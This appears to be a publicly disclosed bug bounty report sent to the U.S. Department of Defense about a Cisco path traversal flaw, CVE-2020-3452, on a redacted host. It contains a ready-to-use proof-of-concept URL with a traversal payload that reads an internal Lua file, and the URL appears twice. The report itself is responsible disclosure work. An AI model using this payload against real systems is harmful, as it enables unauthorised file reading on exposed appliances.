HexBrain

U.S. Dept Of Defense · Report #1137321

Path Traversal - [ CVE-2020-3452 ]

Validstatus
highseverity
11upvotes
11 May 2021disclosed

How it was found

Hello,

I would like to report Path Traversal issue [ CVE-2020-3452 ] was found on https://█████/.

POC: https://█████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

Impact

https://nvd.nist.gov/vuln/detail/CVE-2020-3452

System Host(s)

███

Affected Product(s) and Version(s)

CVE Numbers

CVE-2020-3452

Steps to Reproduce

Follow this URL to see the bug exists --> https://████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original